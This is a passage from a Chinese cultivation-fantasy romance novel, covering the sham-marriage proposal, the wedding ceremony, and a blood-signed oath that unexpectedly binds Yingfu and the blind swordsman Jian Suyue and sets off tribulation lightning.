等盈芙换好了衣服,盈桃还给她在发间簪了好几朵绒花,然后拉着她一路冲刺到了客厅后门,熟门熟路地躲在了一扇花鸟屏风后面,盈芙也跟着她躲了进去。
盈桃急了,把她往外推,还用眼神催她:快上呀姐姐!
盈芙不是很想上,她反而扭头望向外面粉紫色晚霞,漫不经心地想:如果是退婚的话,她也没必要出面吧?莫欺少年穷什么的她实在喊不出口……
“岳父,我找观星宗掌门算了吉日,十二天后正是百年一遇的吉日,您意下如何?”
熟悉的清冷声音响起。
盈芙直接愣住:他刚才喊什么?
岳父?!
盈桃捂住嘴,笑意全从眼里溢了出来,然后又把盈芙往客厅里推。
盈芙像块石头一样一动不动,脑子也几乎石化了,她完全懵了:他竟是来提亲的……他竟真要与她结为道侣?
屏风外的玄流年已经听了好几声“岳父”,第一次听到时他差点从座位上跳起来,现在略微适应了一些,但也没好到哪去,笑得脸都有点酸了,几百年积累的词汇量骤然缩到只剩两个字:“好,好,极好!”
夏明梦笑得眼睛只剩一条缝了。
盈桃还在努力推盈芙出来,一只手力气不够,她用上了两只手推,胳膊肘一个不注意就撞到了屏风。
屏风轰然翻了,漏出后面一大一小两个还在推搡的身影。
盈桃一声惊呼,直接躲到了盈芙身后藏起来,盈芙默默捂住脸:跟他几次见面,她就没优雅得体过。
他仪态那么好,肯定很在意这个,就算嘴里不说,心里肯定也是嫌弃的……算了,形婚嘛,他又不是因为她仪态优雅才选她的。
他第一次见她时,应该就知道她是个什么德行。
现在嫌弃?晚了哼!
盈芙给自己打着气,艰难缓慢地放下手,脸颊上的红霞却一时散不开。
她垂着眼眸完全不敢看那位清冷的仙君,于是没发现此刻也有一层浅粉薄霞落在他似雪如玉的面庞上。
夏明梦轻咳一声,打破客厅的尴尬氛围,笑眯眯地向盈芙问道:“芙芙来啦,刚才月月说十二天后是个好日子,你觉得怎么样?”
盈芙此刻词汇量还不如她爹,只剩一个字:
“好……”
她极小声地说完,就匆匆逃了,身后客厅里似乎又响起一阵来自她爹娘的笑声。
她听到她娘笑着说:“这孩子容易害羞……”
盈芙逃到不远处的走廊角落里,这里还能隐约听到客厅中的声音,她一边听一边给家里挖地窖:太尴尬了,实在太尴尬了,明明她单独和简溯月一起时还没这么尴尬的……
又隐约听见她爹道:“虽然我打不过你,但是你绝不能欺负芙芙。”
然后是一个稚嫩的声音:“虽然现在我和我爹都打不过你,而且我爹懒得修炼,但我会努力修炼的,你要是敢欺负我姐姐就等着吧!”
盈芙加快了挖地窖的速度,心里却很是感动。
“请两位安心。”那个向来清冷的声音一字字认真答道,“我不会负她。”
盈芙愣住片刻,捏了捏自己发烫的脸颊,反复在心中提醒自己:假的,都是假的,他是被逼没招了,牢记,这是形婚!
5. 第 5 章
客厅中,三人又拉扯了些客套话,随后简溯月婉拒了留下用餐的请求,道是还有要事,留下可以堆成山的礼物便离开了。
盈芙靠在走廊的廊柱上望着晚霞发呆,直到盈桃开心地跑过来唤她:“姐姐,爹娘叫你过去!”
盈芙跟着盈桃回客厅,路上,盈桃眼睛亮亮地道:“姐姐,姐夫真好看呀!他是我见过的最好看的仙君!”
盈芙想起自己刚才因为尴尬,一眼都没敢看他,一时有些遗憾:不知道他今天换了什么装束,但那样的玉人穿什么都是好看的,今天没看实在太亏了。
“而且他说前辈算出来,你和他是天作之合!”盈桃蹦跳着开心道。
盈芙表面微笑,心中却暗暗摇头:估计是他为了应付别人编的。
假装道侣而已,哪能算什么天作之合。
回到客厅,盈芙差点以为进错地方了:满屋琳琅生辉,各种璨璨耀眼流光溢彩的法宝多的都没地方放,只能继续孤独寂寞地躺在箱子里。
她爹娘眼睛都看直了,盈桃拉着盈芙到处看:“哇,姐姐你看,这个明月荷项链好好看!哇,这么大的珊瑚夜明珠摆件!我还是头一次见!”
她爹玄流年忽然颤抖地从一个不起眼的箱子里捧起一把赤金鞘的剑,激动到声音都破了:“这、这是剑谱上排名第九的紫辰神剑!光这一把剑就值一座、不、三座、灵石矿了!!!”
盈芙:“……”简溯月这太大方了吧?!跟他比起来,那群来利诱她家的长老都显得十分抠搜了。
她娘夏明梦深沉摇头,目光灼灼:“三座都不够,这种顶级名剑都有市无价的,哎,我记得这紫辰剑好像是上次仙盟大比给第一名的奖励?”
玄流年连连点头:“是啊!从六年前开始,他次次都是第一,还创造了仙盟大比第一名的最小年纪的记录,估计以后也不会有人打破这个记录了。对了夫人,商量个事行吗?”
夏明梦现在心情很好,豪爽道:“什么事,你说。”
玄流年抱着剑嘿嘿傻笑:“今晚我想抱着它睡……”
紫辰剑“嗖”一声飞回箱子里,平平躺下,盈芙居然从一把剑上看出了些许绝望。
夏明梦扶着桌子哈哈狂笑:“人家嫌弃你!哈哈哈——”
玄流年丝毫没有被打击道,趴在箱子边,深情地看着紫辰剑:“它嫌弃也没关系,我把它供起来,每天看它一眼,起码能多活个一千年。”
那把剑看起来好像更绝望了。
盈芙也忍不住笑了出来。
随后,她缓缓漫步在这些箱子间,好奇地打量这些修仙界的法宝珍品,忽然,她眼角余光瞟到了一个箱子的角落里有个不起眼的小匣子,它薄薄的小小的,不知道里面能装什么,簪子吗?
她好奇打开这小匣子,发现里面是三张写满复杂字体的纸,穿越过来算半个文盲的盈芙看不明白,直接递给了她娘夏明梦。
夏明梦看了一眼,顿时惊呼:“这、这是……”
玄流年也凑了过来,只看了一眼便发出尖锐爆鸣:“灵石矿的地契,还三张?!!!啊——我的梦想有救了——!!!”
他发出尖锐爆鸣,小心翼翼地捧着地契,热泪盈眶,声音哽咽,夏明梦一把将地契全部拿走没收:“你的梦想我来保管,在你手里怕是三天就被人骗走了。”
玄流年一愣,呜咽着点点头没反对,看来还挺认同自己夫人的观点。
盈芙看着手中不起眼的小匣子,真的有点麻了:灵石矿的地契就这样随便乱装?用时找都不好找。
而且简溯月怎么这么有钱?有钱还大方,能把矿随便送人,那群抠搜长老要是知道了怕是能当场气到入魔。
难怪他们那么想当他岳父,但如果他们知道简溯月出手这么大方,会只用那点东西来利诱她家吗?
他们是觉得那点东西就足够忽悠住她家,还是说,他们谁都没想到简溯月会这么大方……
盈芙默默倒吸一口凉气,有点不理解:只是形婚,至于吗?他日子还过不过了?难道这些东西对他来说其实不值一提?
盈芙越想越麻,干脆不想了,再一看外面天都黑透了,就告辞回去睡觉了。
之后的日子里,盈芙继续当她的小咸鱼,在家里躲躲人,试试她娘给她新定制的衣裙,尝尝新口味的点心,连蒙带猜地读话本,让盈桃教她点简单常用的字,每天日子美滋滋。
虽说十二天后就要进行誓心仪式,但盈芙并不紧张:形婚嘛,走走流程就行,又不用真的在一起过日子。
而且盈芙打听到了,修仙界的誓心仪式与凡间结婚相似但不同,誓心仪式没有太多繁琐的规矩,最要紧的只有一条:道侣共同许下“同心誓”,此誓由天地见证,违者或受天谴。
但也只是“或”。
据她娘所说,许下同心誓又分开的道侣多得是,没见谁因此受天谴,简溯月也说过,她可以随时离开,这同心誓应该只是走个过场。
到了第十一天,家里的气氛已经很紧张灼热,盈芙倒是最轻松的一个,轻松到她娘忍不住道:“明天就是你的誓心仪式,你能不能认真一点提点劲?”
盈芙嘿嘿一笑,溜走去找盈桃玩了。
第十二日,盈芙一大早就被她娘夏明梦叫醒了。
盈芙还想赖会床,抱着被子小声嘟囔:“这仪式不是不复杂吗?非要起这么早吗?”
夏明梦无奈解释:“咱们离云顶宗内门主峰太远,路上得飞好久呢。”
盈芙叹了口气,有气无力地起床,更衣,梳妆,中间见缝插针随时小睡,看得她娘直叹气:“你在家还能这样懒懒散散的,去了那边可怎么办?”
盈芙终于清醒了一点,诧异问:“我不回来吗?”
只是形婚而已哎,结婚当天走个流程,让别人知道不就行了吗?
母女俩顿时大眼瞪小眼。
盈芙在她娘的诧异神色中慢慢意识到:在别人眼里,她与简溯月可不是形婚,而是天地为证的道侣,当然要住在一起的。
盈芙彻底不困了,倒吸一口凉气:这么麻烦吗?!当时还是想简单了……
“其实咱们修仙界没那么多规矩,你想住哪都行。”夏明梦说着,仔细打量盈芙神色,犹豫着问,“但是新婚道侣一般感情正浓,都不愿意分开……莫非你俩闹矛盾了?最近他什么时候偷偷来见你了?”
“没有没有。”盈芙轻叹,只是为了不让别人怀疑,得在那边住几日了。
不过想起那边有顶级厨修做的菜,她也没有很难接受。而且简溯月很有君子风度,应该问题不大。
夏明梦仔细观察她神色:“真没吵架?”
“真没有啦,放心。”盈芙微微一笑,宛若夏风悠悠,芙蓉盛开。
待盈芙梳妆完毕,与娘亲妹妹聊着天,没过一会,家仆便激动来报:“简仙君来了!乘六鹤车来的,车前还有凤凰引路!!”
盈芙震惊,她娘极为激动:“竟然用上了六鹤车,还有凤凰引路!不愧是月月!芙芙,我们出来吧。”
盈芙有点紧张地跟着家人前往前厅,路上她算了算时间,发现简溯月起的应该比她还早。
‘成个亲真不容易……’她心里嘀咕着。
不过如他那般修为也许本就不需要睡觉了?
还未到达前厅,她就听到了格外清脆悠长的鸟鸣,看到了天空中的九彩祥云,百鸟在其中翱翔飞舞,热闹喜庆非常。
终于到达前厅,她的目光立刻全然被一抹亮眼的红所吸引:
一身华贵红衣的简溯月长身玉立站在厅中,今日的他像个仪貌非凡金相玉质的贵公子,而非那月下清冷孤寂的谪仙人。
自简溯
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月乘六鹤车来到这里,就有许多人想同他搭话,但他大多数时候都置若罔闻,静静站着像一尊仪态端庄的冰雪雕像,只在盈芙家人问他时“融化”片刻,简单回答一下,其余时刻一言不发。
直到盈芙的身影出现,简溯月才微微抬头,遮目的红绸长带与耳垂处金红流苏轻轻摇晃,衬得他白玉般的脸颊也多了几分红霞。
简溯月向盈芙伸出手,这次袖子并未遮住他素净修长的手指。
盈芙脸颊微红,但旁边无数人在围观,她不敢犹豫,将手轻轻搭在他掌心,尽量忽视指尖传来的与他清冷气质截然相反的温暖,与他一同走出前厅与大门。
大门外,是由六只白鹤所拉的白玉车,两只仙气渺渺华美优雅的五色凤凰站在鹤前。
还有无数云顶宗弟子随他来迎接道侣,盈芙家门前路旁站都站不下了,他们只能远远地浮在半空中,遥遥眺望那位惊世天才迎亲的一幕。
盈芙扶着他的手登上了六鹤白玉车。
随后,简溯月亦登上车,坐在了她身侧。
盈芙默默把视线挪到了没有他的一侧,却依旧能嗅到从另一侧隐隐传来的清冽胜雪的寒香。
双凤清鸣,六鹤振翼而翔,百鸟相随,翱于九色祥云。
盈芙望着这番盛景一时出神,有种做梦般的不真切感。
简溯月微一抬手,在六鹤白玉车中设下一个隔音的法阵。
“多谢。”
当那个清冷的声音轻轻响起时,盈芙差点以为是自己的幻觉,然后她眼角余光悄悄往他的方向挪,忽然瞄到他放在膝盖上的手指微微攥紧,原来他也在紧张,原来他也在假装从容。
盈芙忽然就没那么紧张了,轻轻笑了下:“没事。”
她说完,两人再次沉默无话,盈芙感觉氛围略微尴尬,再一算路还远,便主动闲聊道:“你那天怎么带了那么多礼物?”
“很多吗?”简溯月微微歪头,仿佛在认真思索,“赔礼,谢礼,聘礼,加在一起,不算多吧。”
盈芙:“……”三座灵石矿,各代表一种“礼”吗?
盈芙麻了,麻到极点又有点想笑:“要是让那些长老们知道了,他们怕是会疯掉。”
简溯月:“为何?与他们何干?”
盈芙便给他讲了她爹和那群骗子的故事。
末了总结道:“可怜的紫辰剑或许会被我爹供起来看一千年,我爹的梦想也有希望实现了,甚至可以实现三次——如果他夫人同意的话。”
盈芙讲完却迟迟没有听到回应,她忍不住看向他,却见那位素来清冷若冰的仙君嘴角竟有一点浅淡的笑意。
那一刹那,如冰池逢春风,似暗室遇辉光,褪尽他古板清冷的气息,给他增加了些独属于少年人的明亮温暖。
盈芙出神地想:这一点笑,起码给他减龄了一千岁,原来他看起来比那些长老还古板老成得多,哪像二十岁的。
“师尊输了。”
盈芙回过神:“你说什么?”
“无。”简溯月压下嘴角弧度,又恢复那副古板清冷的模样,仿佛刚才的清浅笑意只是盈芙的错觉。
但盈芙知道,刚才不是错觉。
她歪头狐疑地打量他,难道他的古板清冷也是装的?
她没忍住盯了他好一会,盯到清冷仙君的耳尖微微泛红。
这次盈芙发现了这抹石榴色,随后她陡然意识到自己在做什么。
她心虚地缓缓移动目光,假装在看的不是他而是他旁边的风景,然后让目光转了个大圈收回自己那侧,接着不动声色地悄悄离他远了点。
两人都不再说话,微妙的氛围弥漫两人中间。
盈芙怀疑原本宽敞的六鹤车是不是飞着飞着缩水了,怎么感觉比刚才小了那么多,怎么从他旁边挪远了许多,还感觉离他那么近。
6. 第 6 章
盈芙挪着挪着,已经紧紧贴到了自己那侧的扶手上,没法再挪远了。
她假装镇定地欣赏了一会风景,看着山水连绵,听着百鸟清鸣,当真越来越放松下来,然后就感觉到……有点饿了。
早上时间紧,她只随便吃了点,不过没关系,她带的储物香囊里存了许多好吃的点心!
但随即她想到了一个问题:要给简溯月分一点吗?
这储物香囊还是他那次送的一堆礼物之一呢。
她倒不是不舍得给他吃点心,主要是现在这份微妙的气氛,还有他那个冷清的性子……她递了他也未必肯接。
但不递就显得失礼了。
她从储物香囊取出一个天青色的小瓷盘,上面摆着两枚造型精巧的粉色荷花酥,她犹豫片刻,微微侧身向他递过去。
她依然不好意思看他,垂眸小声问:“你要尝一个吗?”
她听到简溯月轻轻“嗯”了一声,接着,一只白玉般修长漂亮的手从瓷盘上取走了一枚荷花酥。
盈芙惊讶抬头,正看到粉瓣金蕊的荷花酥被他托在白玉般的指尖,美得像一幅画。
他竟真的接了。
他看起来不像爱吃点心的人,难道是为了不扫她的兴吗?
盈芙忐忑道:“你要是不爱吃不用勉强的,而且这是我自己做的,刚学会,可能味道不如云顶宗的那些厨修做的。”
简溯月将荷花酥送到唇边,咬下一片花瓣。
盈芙缓缓移开视线,心跳得有点快,耳畔传来清冷中带了些微笑意的声音:“味道很好。”
盈芙:“……”他说话时那种一字一字的认真语调,真的很要命。
她有点僵硬地缓缓转正身,尽量放空思绪,自己也尝起荷花酥:外面的粉色薄脆酥皮堪称入口即化,里面充做花蕊的莲蓉馅和洒在上面的金蜜桂花也是香甜可口。
嘛,起码这次不丢人。
两人各自安静地品尝着荷花酥,微妙的气氛散了些。
盈芙更轻松了些,她手臂撑在扶手上,托着腮,一边看风景一边品荷花酥,不自觉地歪了身子,还晃了晃脚尖,然后陡然绷紧。
又忘了仪态了。
她紧张地看了眼简溯月:他还是那副端庄模样,一动不动宛如白玉雕像,目上系着金红的绸带,让人不知道他有没有在看,在看什么。
“无妨。”简溯月轻声道。
盈芙一个激灵:他果然还是“看”到了,救命。
好难啊,难道在离婚前她也要变成雕像吗?
等离婚的那一刻,她再“啪”地从雕像变成活人。
“你不必如此。”那人清冷的声音中似乎有些许无奈。
盈芙松了口气:管他是不是客气,她可不客气了,端坐这么久真的很累,也不知道他天天这样时时如此是怎么做到的。
盈芙软软趴在扶手上,眼角余光悄悄瞟向身旁的“雕像”,忽然想起一个困扰她已久的问题:“你是怎么看到东西的?”
简溯月:“以神识视物。”
盈芙好奇问:“用神识看东西是什么感觉?”
简溯月:“如果用眼睛看东西只能看到身前,神识可以同时‘看到’身前身后以及周围的一切,不存在盲区。而且神识可以看到魂魄,灵力等许多用眼睛看不到的东西。”
盈芙:“……厉害!”不愧是修仙世界。
而且他这次说了好多话!
所以想让这种天才多说话就要多请教修炼方面的问题吗?
盈芙感觉她跟他的聊天记录可能注定不会长了。
“不过,如果可以,我也想用眼睛看一次。”简溯月的声音很轻,几乎要散在风里。
说完,他微微抿唇,仿佛自己说错了话。
盈芙惊讶看他:没想到他会有这样的愿望,但想想也能理解,据说他天生目盲,一刻都不曾用自己的双眼打量过这个世界。
“有去找医……医修看过吗?”盈芙小心翼翼地问。
简溯月沉默片刻,轻叹:“看过,除非换目,别无它法,我不想换。”
盈芙猜,以他的身份,找的应该是这个修仙界的顶级医修,看来真是没法直接治好了……实在是遗憾,他的眼睛一定很漂亮,如今却只能终日被蒙在轻纱绸带之下。
盈芙安慰道:“没事,说不定哪天医修里也会出一个像你一样的天才,啪一下就把你的眼睛治好了!”
简溯月微微弯起嘴角,不语。
六鹤车又飞片刻,盈芙远远便看到了一座被群山簇拥的山峰,那是云顶宗所在青琴山脉的主峰仙缘峰。
峰顶上是重重白玉宫殿,密密麻麻如芝麻的人“洒”满了宫殿前。
“怎么这么多人?!”盈芙密恐症都快犯了,不自觉腰也坐直了。
简溯月:“来客……有数百页。”
不是数百人,而是数百页。
盈芙听到这个量词,麻木地想:我现在装死逃走来得及吗?
恐怕来不及。
盈芙只能安慰自己和简溯月:“没事,这样收的份子钱多。”
她知道他也不喜欢热闹,但自他天赋彰显,他就注定是修仙界的焦点,他要与道侣进行誓心仪式的大事,多得是人想来凑热闹。
总不能拦着客人不让来,不如换个角度想。
盈芙对简溯月眨了眨眼,笑吟吟道:“咱们今天能发财了。”
简溯月微愣,神识悉数落在她含笑的如星眼眸中,片刻后才回过神,轻声道:“好。”
六鹤白玉车在仙缘峰飞仙殿前徐徐落下。
简溯月先下车,然后向盈芙伸出手,让她扶着下车。
盈芙被周围密密麻麻的人注视着,海浪般此起彼伏的议论声传入她耳中,她忽然觉得有点头晕。
简溯月微微握紧了她的手,清冽如泉的灵力与令人安心镇定的温度自他掌心传来,如同无声的安抚,缓解她的紧张。
盈芙对他点头,示意自己好了许多,然后扶着他的手,稳稳地下了车。
在无数双眼睛的注视中,盈芙不自觉就绷紧了肩背,刹那间,她忽然理解了他为何能一直保持如此完美的仪态。
他自幼天赋出众,从小时时刻刻被无数目光注视着。
他不能有一丝错,时刻保持仪态端庄优雅早已成了习惯,刻进了骨子里。
可这是否也是他的枷锁?
盈芙悄悄看向他,他大约不知她在想什么,对她微微颔首,有几分赞许和鼓励的意味在。
盈芙脸颊热了点,她尽量不动声色地收回目光,扶着他的手,与他一同沿着铺有红绸的长阶前往气势恢弘的飞仙殿。
途中,有人仗着修为比盈芙高,暗暗向盈芙释放威压,想看她忽然跪到地上出丑,但那威压尚未到盈芙身侧,便被简溯月无声化解。
简溯月微微蹙眉,以防万一,他一直握着她的手没有松开。
盈芙则已经忘了她还与他牵着手这件事:她在尽可能地忽视周围的目光和声音,全神贯注地走路。
今天她要走得优雅,走出风采,不能丢人!
围观者面面相觑,小声议论:“这俩人怎么还不松手?之前参加别人的誓心仪式也没见一直牵着手啊?”
“简仙君不会真的喜欢她吧……”
“肯定是喜欢的。简溯月要是不愿意,谁能逼得了他?”
“之前不是说她蛊惑了简仙君吗?”
“我怎么听说是简仙君师尊逼他娶的玄家女,这玄家女还是个外门旁支的,这不是看不起他吗?”
“都是假的,他肯定是真的喜欢玄盈芙,别的不说,就看现在,他可是一直握着她的手没松开过,还有谁能逼他一直牵着人家的手吗?”
“这玄盈芙到底是怎么征服简仙君芳心的?哪天能不能开个课啊?”
“听说她那天宴会上甚至睡着了,唉,可惜简仙君眼神是真不好。”
……
盈芙终于走到了飞仙殿的殿门。
她往里面大致扫了一眼:宽敞的大殿中,宾客数量比殿外少了许多,但盈芙用眼角余光悄悄观察这些殿内宾客,感觉他们身上多少都有点缥缈的“仙气”。
如果说外面那些修仙者更接近人,那这宫殿中的诸位或许更接近仙了。
盈芙看着某些人慈祥从容的神情,怀疑他们的寿数或许是按千年算的。
钟鼓奏乐,司仪高声念了很长一段文绉绉的词,盈芙只听懂了个大意:幸遇佳侣,当此生不负,请求上天见证并赐予祝福。
随后是
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三拜天地。
盈芙学着简溯月的动作,尽可能地拜得优雅一些。
三拜高堂。
盈芙发现,代表简溯月高堂的竟是他师尊玄青岚。他爹娘呢?难道是……亡了?
道侣对拜。
盈芙没好意思看简溯月,拜完后脸颊却依然控制不住地染上了霞色。
简溯月的耳尖亦然。
而后却不是送入洞房。
四名云顶宗弟子走到了盈芙和简溯月面前,为首之人手中托盘上放着厚重卷轴,另一人手中托盘上摆着玉碗,小刀和笔,另外两人则是空手。
接着,那两名空手的弟子走到卷轴前,一左一右拉着卷轴徐徐展开,这卷轴约有六尺长,上面写满了盈芙看不懂的符号和文字,但盈芙看到卷轴中心有个并蒂荷花的图案。
而后,另一个手捧托盘的弟子走到了盈芙和简溯月面前,恭敬道:“请两位滴血入碗,以血为墨,在卷轴上写下自己的名字。”
盈芙看着小巧精致的玉刀,只是看着都感觉指尖在疼,一时没动。
简溯月则“看”着卷轴蹙眉,也没动。
几位宾客脸上露出古怪的笑意。
玄青岚在座位上轻咳一声,传音简溯月,催促道:“溯月,誓心都是这样的,快点,仙盟的盟主,还有好几个门派的掌门都在看着呢。”
简溯月却又问:“誓心皆是如此?”
玄青岚急急催道:“没错,都这样,快点快点!别在这种时候丢我的人!”
简溯月终于动了,他没用玉刀,直接伸出指尖悬于玉碗上,指尖滴落一连串血珠。
盈芙模仿他的动作,也直接将指尖悬于玉碗上,然后对简溯月眨眼暗示:帮帮我!
忽似有一缕微风拂过她指尖,三滴血珠自指尖落下,一点不疼。
盈芙收回指尖,瞄了一眼,惊讶发现指尖上的伤口甚至已经消失得无影无踪了,这位天才居然还有治愈技能。
而后简溯月提起那支刻有并蒂莲纹的玉笔,以玉碗中两人的血为墨,写下三个端正遒劲的字:简溯月。
盈芙接过这玉笔,看着卷轴上他工整漂亮的字迹,她也尽量工整地写自己的名字:盈芙。
她为了看话本,这几天在家偷偷学字,先学的就是自己的名字。
写完她仔细端详,对自己的字迹总体还比较满意,不过怎么感觉好像忘了什么……写个名字能忘了什么?
对了,她现在的身份姓玄!
盈芙顿时倒吸凉气:嘶,已经没位置加了,要么就得把玄字写得特别特别小……
简溯月深深“看”了她一眼。
没等盈芙想好该怎么补救,卷轴忽然亮起微光,一支半透明的粉色并蒂芙蓉自卷轴中心的图案生长而出,徐徐绽放。
在并蒂芙蓉彻底盛开的那一瞬,满殿荷花虚影,并有清香浮动。
而后,那完全盛开的并蒂芙蓉竟飘浮了起来,一朵飞入盈芙心口,一朵飞入简溯月心口。
接着,整个卷轴无火自燃,化作一缕青烟飞入空中,在盈芙看不到的殿外,天空中竟浮现出五色祥光,殿外一片惊呼:“这是天道祝福!”
“我活了几百年了还是头一次见!”
“我现在终于信了,简仙君跟她是真爱。”
殿内,司仪高声宣布:“并蒂芙蓉誓已成!誓心仪式已成!”
盈芙摩挲着已经痊愈的指尖,有点心虚地想:少写个“玄”字应该没事吧?写自己本名实在写顺手了……反正卷轴都没了,应该没人能发现吧?
她有点庆幸也有点遗憾:本来她还以为这卷轴能留下来当个纪念品呢。
不过罢了,只是假装道侣,也没什么好纪念的。
仪式结束,可以离开了。
盈芙与简溯月一同走出宫殿,盈芙拉了拉他的袖子,低声问:“你有没有感觉那个什么并蒂芙蓉誓成了之后,好像灵力一直在变多?是天道送的吗,天道还挺慷慨的哎。”
简溯月:“……那或许是我的灵力,借由并蒂芙蓉印传给了你。”
盈芙:“……?”
她茫然地看向简溯月,简溯月脸上也有几分茫然:“并蒂芙蓉印,似乎会让我们共享灵力。”
盈芙:“??!!”
7. 第 7 章
盈芙感觉到体内灵力越来越充沛,她慌了,急迫道:“你别把灵力给我了!!!”
她一条咸鱼躺得好好的,并不想翻身。
简溯月沉默片刻,低声道:“我无法控制。”
盈芙懵了:“这到底是个什么誓?!”
“嗯?两位之前不知道吗?”
一个笑吟吟的声音从盈芙身后传来,随后,一个容貌约莫二十岁左右的美丽女子走到了盈芙身侧,眼波流转地打量盈芙与简溯月,笑道:
“这可不是誓心常用的‘同心誓’,而是最古老的‘并蒂芙蓉誓’,你们刚才向天道祈求同生共死,与对方分享自己的一切,比如记忆情绪想法和灵力,然后,天道应允并祝福了。若不是今日见到,我还以为这并蒂芙蓉誓已经失传了。”
盈芙感觉荒谬:“我们什么时候祈求同生共死……”
她话到一半,忽然想起那个长长的卷轴,难道是写在那上面了?
她顿时无语哽咽,吃了没文化的亏,都是没文化害了她!!!
她不解地看向简溯月:她看不懂,难道他也看不懂吗?他为何还会同意这么荒谬的契约?!
简溯月沉默不语,袖中的手却攥紧了。
轰隆隆——
天上忽然乌云滚滚,雷光乍现。
盈芙茫然抬头:“怎么回事,刚才还是晴天?”山里的天气这么多变吗?
那不知身份的女子笑吟吟道:“恭喜你,你要突破升阶了,对,不用看了,就是你,这可是别人求都求不来的好事,你怎么一副要哭的表情。”
盈芙:“……”因为不想被雷劈啊!她可不想变成雷炸咸鱼酥,怕是要酥得只剩渣了。
她一个法术都不会,拿什么扛天雷?
而且这是简溯月的灵力,跟她有什么关系?
盈芙小声问那看起来懂得很多的女子:“这个并蒂芙蓉誓能解除吗?”
女子笑道:“不能哦,你们是向天道立的誓,誓约已经化成了并蒂芙蓉印在了你们的神魂中,哪里能解除。”
同生共死,共享一切,不可解除。
盈芙快晕了。
女子扶了她一把,笑道:“看在你这么可爱的份上,一会我可以帮你抵挡九道天雷。”
“不劳姬宗主了。”简溯月终于开口,手中浮现一把冰雪质地的长剑,“我能护她。”
姬问掩口一笑:“两位可真是情比金坚,那我就不多事了。”
盈芙感觉灵力还在增加,甚至增加得越来越快,再看天边越来越厚重广袤的乌云海,人已经麻木了。
简溯月低声道:“一会你在这休息就好。”
盈芙回过神,感动地点了点头,但一想也许他知道那卷轴上的内容,她又有点心情复杂。
他为何会同意这样的契约内容?
难道他真的……喜欢……我……?
不可能吧?!
盈芙倒吸一口凉气,快速摇头,把这个不可能的念头摇出来。
姬问看着不知为何忽然把头摇成拨浪鼓的盈芙,笑道:“玄家竟出了妹妹这样的妙人,我好像知道简仙君为何会对你心动了。”
盈芙赶紧否认:“没有不可能别乱说!”
姬问意味深长地问:“哦?两位难道不是因为情投意合心心相印才成为道侣的吗?”
盈芙:“…………是。”是个鬼,好绝望。
乌云聚集完毕,一道气势汹汹的天雷骤然朝着盈芙劈下。
盈芙僵硬呆滞,简溯月持剑乘风而上,一剑斩断了天雷。
殿内殿外,一片寂静。
所有人都盯着简溯月与他的剑,那道道月光般的剑气,竟足以与天雷同辉。
盈芙望着他的背影,眼中只剩他的背影。
磅礴雷光之下,他的背影显得有些渺小,可就是如此渺小,竟能将那气势浩浩荡荡的天雷全都挡在一剑之外,为她挡在一剑之外。
盈芙的心跳漏了几拍。
待第十道天雷出现时,盈芙回过神,惊愕问姬宗主:“不是九道天雷吗?”
姬问目不转睛地盯着空中之人,同时笑道:“妹妹在说什么傻话,那可是简仙君,万年来的第一天才,他把修为分给你,怎么可能只让妹妹升一个大阶。”
盈芙颤声问:“那一共有多少道雷?”
姬问:“嗯,不好说,我也不是太了解并蒂芙蓉誓,如果它真要把简仙君的修为全都共享给你,你或许能直接到大乘期甚至……飞升期呢,飞升期是七十二道雷。”
盈芙:“……”她没听懂大乘期是什么东西,但她听懂了飞升。
太可怕了……他到底修为有多高?
但她又想起来:“可我记得他自己就是飞升期,他把修为分给我,我怎么也能到飞升期?”
姬问眸色深深:“如果说到达飞升期的灵力要求是一片大湖,简溯月的灵力就像一片海,足够填满两个湖,甚至不止两个。”
盈芙愣住,直到这一刻,才对简溯月的实力有了些真切的认知。
十八道天雷了,乌云还没有半点要散的痕迹。
三十六道天雷了,乌云的墨色甚至看起来愈发浓郁了。
盈芙感觉到灵力甚至还在增加。
她担忧地望向空中,却发现他依旧从容翩然,衣不染尘,好似弦月的剑气未见半分不足,反而愈发凌冽耀眼。
“天雷到现在,还没碰到他的衣角。”姬问喃喃道,“他究竟是到了何种境界。”
盈芙:“……”她也想问。
她看的话本里,天雷都很可怕,把渡劫者劈个半死不活都是轻的,都得算渡劫者有实力,多得是直接被劈了个魂飞魄散的。
可他却能如此轻松从容……甚至看起来不像天雷劈他,而是他在以剑劈天雷。
这还是在他分了那么多灵力之后。
盈芙听到有人忧心忡忡地叹了口气。
她闻声看过去,发现方才殿内的宾客都出来了,都在这仰头看着简溯月倒反天罡以剑劈雷。
只是这些近“仙”的宾客们,脸上大都没有了刚才的慈祥温和,还有人脸色沉沉目光冰冷,仿佛看的不是简溯月,而是一个可怕的怪物。
在雷光或如月剑气闪过的瞬间里,盈芙好像看见他们的眼底被照亮,有人眼中是惊叹羡慕,也有人眼中是近乎疯狂的嫉妒或忌惮。
盈芙看得心惊胆战,手都有些发凉。
七十二道天雷后,乌云终于缓缓散去。
简溯月收剑入鞘,落到她身旁,竟是毫发无伤。
整个仙缘峰一片死寂,一时竟无人向盈芙这个新的飞升期道喜,也无人赞许简溯月实力高超剑术精卓。
许多人的目光中是藏不住的恐惧,嫉妒,忌惮。
玄家也有不少人露出嫉妒的神色,有些是在嫉妒简溯月,有些却是在恨恨瞪着盈芙。就算有人想道喜,一看周围的氛围也不敢动了。
“呕——”
一个方才来自殿内的宾客忽然呕出一大口血,他的几个弟子从飞仙殿下方飞上来查看情况,仙缘峰才缓缓重新“活”过来。
“快扶千掌门入殿休息,快去请医修!”玄青岚指挥道。
盈芙轻声对简溯月道:“我们先离开这里。”
简溯月颔首,向盈芙伸出手,然后以千里一步之术带着她离开。
盈芙没有看见,在他用出千里一步后,其他人的脸色更白了:千里一步之术极其消耗灵力,他如今却仍然能如此轻松的使用,他到底……有多可怕?
雪玉峰,藏琼宫。
简溯月的头抵在盈芙肩头,呼吸急促脸色苍白。
盈芙一手扶着他的腰一手抱着他的背,勉强站稳,这才知道他方才一直在强撑。
她听到他声音很轻很哑地呢喃:“师尊骗我。”
盈芙不知道玄青岚骗了他什么,但她能感觉到,他现在很难过。
“抱歉。”他又道。
盈芙一愣,有点无奈:“你怎么还向我道歉,是我分了你的灵力,这么多天雷也是你帮我扛下来的,该我对你道歉。”
简溯月微微摇头,声音越来越哑:“之前我说过,你可以随时离开……”
但今天他与她立下的,却是一个不可解除的契约。
那时玄青岚一直在催,时间很紧,简溯月快速看了一遍卷轴,那上面用古文字写着愿意与道侣同生共死,分享一切之类的内容,根本没提不可解除的事。
他没有参加过别人的誓心仪式,还以为“同生共死”之类的描述是誓心仪式里都会说的话。
玄青岚也说,誓心仪式都是这样的。
